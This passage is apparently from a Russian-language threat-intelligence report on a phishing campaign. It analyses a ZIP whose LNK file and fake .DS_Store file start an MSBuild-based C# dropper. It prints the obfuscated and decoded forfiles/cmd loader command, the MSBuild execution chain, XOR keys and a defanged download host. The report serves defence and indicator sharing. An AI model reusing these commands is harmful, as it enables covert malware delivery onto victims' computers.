\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u043b\u0430\u0441\u044c \u201c\u0442\u044f\u0436\u0435\u043b\u0430\u044f \u0430\u0440\u0442\u0438\u043b\u043b\u0435\u0440\u0438\u044f\u201d \u0432 \u043b\u0438\u0446\u0435 <strong>\u0414\u043c\u0438\u0442\u0440\u0438\u044f \u041a\u0443\u043f\u0438\u043d\u0430<\/strong>, \u0432\u0435\u0434\u0443\u0449\u0435\u0433\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430 \u043f\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 F.A.C.C.T. \u0418\u0445 \u043d\u0430\u0445\u043e\u0434\u043a\u0438 \u0438 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043c\u044b \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043c \u043d\u0438\u0436\u0435. <\/p>\n<h2>\u0410\u043d\u0430\u043b\u0438\u0437 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438 11 \u0438\u044e\u043d\u044f<\/h2>\n<p>\u0412\u043d\u0443\u0442\u0440\u0438 \u043f\u0438\u0441\u044c\u043c\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u0433\u0438\u043f\u0435\u0440\u0441\u0441\u044b\u043b\u043a\u0430 hxxps:\/\/files-manager[.]com\/document\/Spisok_rabotnikov\/Spisok_rabotnikov\/idx\/download\/grWUbTk00UWnSutvoJLaUkJyI \u0432 \u0438\u043c\u0435\u043d\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 <strong>Spisok_rabotnikov.pdf<\/strong>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u0435\u0434\u0435\u0442 \u043d\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0430\u0440\u0445\u0438\u0432\u0430 <strong>Spisok_rabotnikov.zip<\/strong>.<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0410\u0440\u0445\u0438\u0432 <strong>Spisok_rabotnikov.zip <\/strong>\u0434\u043b\u044f \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438 \u0431\u044b\u043b \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d 10.07.2023.<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0410\u0440\u0445\u0438\u0432 <strong>Spisok_rabotnikov.zip<\/strong> \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 2 \u0444\u0430\u0439\u043b\u0430:<\/p>\n<ul>\n<li>\n<p><strong>Spisok_rabotnikov.lnk<\/strong> &#8212; \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 C# \u043a\u043e\u0434 \u0437\u0430\u0434\u0430\u0447\u0438 <strong>UTask<\/strong>, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u0435 <strong>.DS_Store<\/strong>.<\/p>\n<\/li>\n<li>\n<p><strong>.DS_Store<\/strong> &#8212; \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043c\u0443\u0441\u043e\u0440\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438, \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438, C# \u043a\u043e\u0434 \u0437\u0430\u0434\u0430\u0447\u0438 <strong>UTask<\/strong>, \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0441\u0431\u043e\u0440\u043a\u0438 \u0438 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u043e\u043c Base64 \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u0432\u0438\u0434\u0435 9 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432: \u0434\u0432\u0435 DLL \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435, \u0430 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0435\u043c\u044c DLL &#8212; \u0437\u0430\u0434\u0430\u0447\u0438, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0438\u0435\u0441\u044f \u0447\u0435\u0440\u0435\u0437 MSBuild.exe.<\/p>\n<\/li>\n<\/ul>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u0444\u0430\u0439\u043b\u0430-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438, \u0441\u043a\u0440\u044b\u0442\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0444\u0430\u0439\u043b\u0430 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 <strong>HealthDataExperience.exe<\/strong> \u0441 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0440\u0435\u0441\u0443\u0440\u0441\u0430 <strong>files-manager[.]com<\/strong> \u0438 \u0435\u0433\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0437\u0430\u043f\u0443\u0441\u043a. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e \u043d\u0438\u0436\u0435.<\/p>\n<h2>LNK<\/h2>\n<p>LNK-\u0444\u0430\u0439\u043b <strong>Spisok_rabotnikov.lnk<\/strong> \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 C# \u043a\u043e\u0434\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 <strong>UTask<\/strong>, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0433\u043e\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u0435 <strong>.DS_Store<\/strong>. \u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0432 LNK-\u0444\u0430\u0439\u043b\u0435 \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0438 \u0438\u043c\u0435\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0432\u0438\u0434:<\/p>\n<pre><code class=\"bash\">forfiles.exe \/p %USERPROFILE% \/s \/m *Spisok_rabotnikov.zip \/c \"0x630x6d0x640x2e0x650x780x65 \/0x63 0x630x64 %TEMP% &amp; 0x74ar -0x78f @path 0x2e* &amp; 0x630x6d0x640x2e0x650x780x65 \/q &lt; %TEMP%\\0x2eDS_Stor0x65\"<\/code><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0434\u0435\u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0438\u043c\u0435\u0435\u0442 \u0432\u0438\u0434:<\/p>\n<pre><code class=\"bash\">forfiles.exe \/p %USERPROFILE% \/s \/m *Spisok_rabotnikov.zip \/c \"cmd.exe \/c cd %TEMP% &amp; tar -xf @path .* &amp; cmd.exe \/q &lt; %TEMP%\\.DS_Store\"<\/code><\/pre>\n<p>\u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0432 LNK-\u0444\u0430\u0439\u043b\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f:<\/p>\n<ol>\n<li>\n<p>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f forfiles.exe \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0440\u0435\u043a\u0443\u0440\u0441\u0438\u0432\u043d\u044b\u0439 \u043f\u043e\u0438\u0441\u043a \u0430\u0440\u0445\u0438\u0432\u0430 \u043f\u043e \u043c\u0430\u0441\u043a\u0435 *Spisok_rabotnikov.zip, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f %USERPROFILE%. <\/p>\n<\/li>\n<li>\n<p>\u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 %TEMP%, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0443 cd. <\/p>\n<\/li>\n<li>\n<p>\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 %TEMP% \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u044b tar.exe (\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 Windows 10) \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0430 \u0444\u0430\u0439\u043b\u043e\u0432, \u0438\u043c\u0435\u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442\u0441\u044f \u0441 .* \u0438\u0437 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0433\u043e \u0430\u0440\u0445\u0438\u0432\u0430 Spisok_rabotnikov.zip. <\/p>\n<\/li>\n<li>\n<p>\u0417\u0430\u043f\u0443\u0441\u043a \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u0438\u0437 %TEMP%\\.DS_Store \u0444\u0430\u0439\u043b\u0430 \u043f\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0443 &#171;cmd.exe &lt;&#171;. <\/p>\n<\/li>\n<\/ol>\n<p><strong>UTask (C# Dropper)<\/strong><\/p>\n<p>\u0424\u0430\u0439\u043b <strong>.DS_Store<\/strong> \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0432 \u0441\u0430\u043c\u043e\u043c \u043d\u0430\u0447\u0430\u043b\u0435 \u043c\u0443\u0441\u043e\u0440\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 (\u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438), \u043f\u043e\u0441\u043b\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b:<\/p>\n<pre><code class=\"bash\">mkdir %USERPROFILE%\\source\\repos\\FZdlyPUMslYX cd %USERPROFILE%\\source\\repos\\FZdlyPUMslYX copy \/Y %TEMP%\\.DS_Store %USERPROFILE%\\source\\repos\\FZdlyPUMslYX C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe %USERPROFILE%\\source\\repos\\FZdlyPUMslYX\\.DS_Store >nul 2>&amp;1 exit<\/code><\/pre>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u0441\u043e\u0437\u0434\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u0442\u0430\u043b\u043e\u0433 <strong>%USERPROFILE%\\source\\repos\\FZdlyPUMslYX<\/strong>, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0444\u0430\u0439\u043b <strong>%TEMP%.DS_Store<\/strong>, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u0438 \u0437\u0430\u043f\u0443\u0441\u043a \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e C# \u043a\u043e\u0434\u0430 \u0444\u0430\u0439\u043b\u0430 <strong>.DS_Store<\/strong> \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <strong>MSBuild.exe<\/strong>.<\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f C# \u043a\u043e\u0434 \u0437\u0430\u0434\u0430\u0447\u0438 <strong>UTask<\/strong>.<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0417\u0430\u0434\u0430\u0447\u0430 <strong>UTask <\/strong>\u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0440\u043e\u043b\u044c \u0434\u0440\u043e\u043f\u043f\u0435\u0440\u0430. \u041a\u043e\u0434 \u0434\u0430\u043d\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 (\u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 C# \u043a\u043e\u0434\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 <strong>UTask<\/strong>) \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 <strong>%USERPROFILE%\\source\\repos\\FZdlyPUMslYX<\/strong>:<\/p>\n<ul>\n<li>\n<p>IRVkMCvS.blob &#8212; <strong>XorTask <\/strong>(\u0437\u0430\u0434\u0430\u0447\u0430 _aSyzNgT7d18NpzuJHYhlYrzXNPG)<\/p>\n<\/li>\n<li>\n<p>jFXvSUwAb.blob &#8212; <strong>AntiSandboxTask <\/strong>(\u0437\u0430\u0434\u0430\u0447\u0430 _fsh1fYMdExGdJ0UKqIXq0s0tLJG)<\/p>\n<\/li>\n<li>\n<p>KNEdBVMwkY.blob &#8212; <strong>ExecuteTask <\/strong>(\u0437\u0430\u0434\u0430\u0447\u0430 _dycW4DGLIQ75gosRrPdxqttPfkE)<\/p>\n<\/li>\n<li>\n<p>kVaocWvcXxpj.blob &#8212; <strong>DownloadTask <\/strong>(\u0437\u0430\u0434\u0430\u0447\u0430 _eXdtj65NprE9kjSakYTX7tOsbLb)<\/p>\n<\/li>\n<li>\n<p>MuIJdGFgmniD.blob &#8212; <strong>SlowdownTask <\/strong>(\u0437\u0430\u0434\u0430\u0447\u0430 _huo7h8CP6Mizq9S4Dg5zNuYyVyb)<\/p>\n<\/li>\n<li>\n<p>nXkBdHyy.blob &#8212; <strong>HideTask <\/strong>(\u0437\u0430\u0434\u0430\u0447\u0430 _SaCF5X1zV8jhINFNCliJJ0Atydp)<\/p>\n<\/li>\n<li>\n<p>xnhvkUzROwkSr.blob &#8212; <strong>GuardTask <\/strong>(\u0437\u0430\u0434\u0430\u0447\u0430 _FkOdNAsgTdH0tOPitrVXFSQ991z)<\/p>\n<\/li>\n<li>\n<p>Microsoft.Build.Framework.dll &#8212; \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0444\u0430\u0439\u043b<\/p>\n<\/li>\n<li>\n<p>Microsoft.Build.Utilities.Core.dll &#8212; \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0444\u0430\u0439\u043b<\/p>\n<\/li>\n<\/ul>\n<p>\u041f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 9 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u043c\u0435\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0444\u043e\u0440\u043c\u0430\u0442 \u0432 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0432\u0438\u0434\u0435:<\/p>\n<p><em>&lt;!&#8212;[Base64 \u043f\u0443\u0442\u044c \u043a \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0444\u0430\u0439\u043b\u0443]:[Base64 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430]&#8212;><\/em><\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0424\u0430\u0439\u043b\u044b *.blob \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 (DLL) \u0444\u043e\u0440\u043c\u0430\u0442\u0430 PE32, \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043d\u0430 .NET \u0438 \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u043a\u0430\u0441\u0442\u043e\u043c\u043d\u044b\u043c ConfuserEx.<\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447\u0438 <strong>UTask<\/strong>, MSBuild.exe \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0438:\u00a0<\/p>\n<p>nXkBdHyy.blob (<strong>HideTask<\/strong>), KNEdBVMwkY.blob (<strong>ExecuteTask<\/strong>), xnhvkUzROwkSr.blob (<strong>GuardTask<\/strong>), MuIJdGFgmniD.blob (<strong>SlowdownTask<\/strong>), jFXvSUwAb.blob (<strong>AntiSandboxTask<\/strong>), kVaocWvcXxpj.blob (<strong>DownloadTask<\/strong>), MuIJdGFgmniD.blob (<strong>SlowdownTask<\/strong>), IRVkMCvS.blob (<strong>XorTask<\/strong>), KNEdBVMwkY.blob (<strong>ExecuteTask<\/strong>).<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0432\u0430\u0436\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u044b \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u043e\u043c XOR \u0441 \u043a\u043b\u044e\u0447\u043e\u043c 16 \u0431\u0430\u0439\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u0445 \u0441\u043e \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u043c\u0438 \u0438\u043c\u0435\u043d\u0430\u043c\u0438 \u0432 \u0432\u0438\u0434\u0435 \u0441\u0442\u0440\u043e\u043a\u0438. \u0412 \u0437\u0430\u0434\u0430\u0447\u0430\u0445: <strong>HideTask<\/strong>, <strong>ExecuteTask<\/strong>, <strong>GuardTask<\/strong>, <strong>SlowdownTask<\/strong>, <strong>AntiSandboxTask<\/strong>, <strong>DownloadTask<\/strong>; \u043a\u043b\u044e\u0447 <strong>3309f5a10063afef30290e635561bcd8<\/strong>, \u0430 \u0432 \u0437\u0430\u0434\u0430\u0447\u0435 <strong>XorTask<\/strong> \u043a\u043b\u044e\u0447 <strong>a88194101b73a5b1ed1fff9ebf340726<\/strong>.<\/p>\n<p>\u0412 \u0442\u0430\u0431\u043b\u0438\u0446\u0435 \u043d\u0438\u0436\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438, \u043f\u0435\u0440\u0435\u0434\u0430\u044e\u0449\u0438\u0435\u0441\u044f \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u043c \u0432\u044b\u0448\u0435 \u0437\u0430\u0434\u0430\u0447\u0430\u043c, \u043a\u0440\u043e\u043c\u0435 <strong>HideTask<\/strong>, <strong>AntiSandboxTask<\/strong> \u0438 <strong>SlowdownTask<\/strong>.<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\"><strong>\u0417\u0430\u0434\u0430\u0447\u0430<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>\u0420\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">ExecuteTask<\/p>\n<\/td>\n<td>\n<p align=\"left\">mkXFB6MZ8lmESONcDol1JTjR4Kq<\/p>\n<\/td>\n<td>\n<p align=\"left\">hxxps:\/\/files-manager[.]com\/document\/Spisok_rabotnikov.pdf<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">ExecuteTask<\/p>\n<\/td>\n<td>\n<p align=\"left\">mkXFB6MZ8lmESONcDol1JTjR4Kq<\/p>\n<\/td>\n<td>\n<p align=\"left\">HealthDataExperience.exe<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">GuardTask<\/p>\n<\/td>\n<td>\n<p align=\"left\">_VueDgAHltwEszdmBp5N8BtOpFUh<\/p>\n<\/td>\n<td>\n<p align=\"left\">%temp%\\zWOnFfZp<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">DownloadTask<\/p>\n<\/td>\n<td>\n<p align=\"left\">_NGWUhdaVQc7D9i5aaMH5YMArRqk<\/p>\n<\/td>\n<td>\n<p align=\"left\">hxxps:\/\/files-manager[.]com\/document\/Spisok_rabotnikov\/E\/idx\/download\/grWUbTk00UWnSutvoJLaUkJyI<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">DownloadTask<\/p>\n<\/td>\n<td>\n<p align=\"left\">_msWUmumCLqCVU6edlovRYG0Y6Eg<\/p>\n<\/td>\n<td>\n<p align=\"left\">HealthDataExperience.exe<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">DownloadTask<\/p>\n<\/td>\n<td>\n<p align=\"left\">_BScGwQZfayw3c2LBgfvUA1e8AVg<\/p>\n<\/td>\n<td>\n<p align=\"left\">Mozilla\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.82 YaBrowser\/22.1.0 Yowser\/2.5 Safari\/537.36<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">XorTask<\/p>\n<\/td>\n<td>\n<p align=\"left\">_4fCwQ7rAqcME3wfkvX8av4ravkY<\/p>\n<\/td>\n<td>\n<p align=\"left\">HealthDataExperience.exe<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<h2>\u041a\u0440\u0430\u0442\u043a\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447<\/h2>\n<p>0. <strong>UTask<\/strong> &#8212; \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 (\u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 C# \u043a\u043e\u0434\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 <strong>UTask<\/strong>) \u0438 \u0438\u0445 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 <strong>%USERPROFILE%\\source\\repos\\FZdlyPUMslYX<\/strong>.<\/p>\n<p>1. nXkBdHyy.blob (<strong>HideTask<\/strong>) &#8212; \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043e\u043a\u043d\u0430 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.<\/p>\n<p>2. KNEdBVMwkY.blob (<strong>ExecuteTask<\/strong>) &#8212; \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 \u0444\u0430\u0439\u043b\u0430-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438 \u0432 \u0432\u0435\u0431-\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e: hxxps:\/\/files-manager[.]com\/document\/Spisok_rabotnikov.pdf.<\/p>\n<figure class=\"full-width\"><\/figure>\n<ol 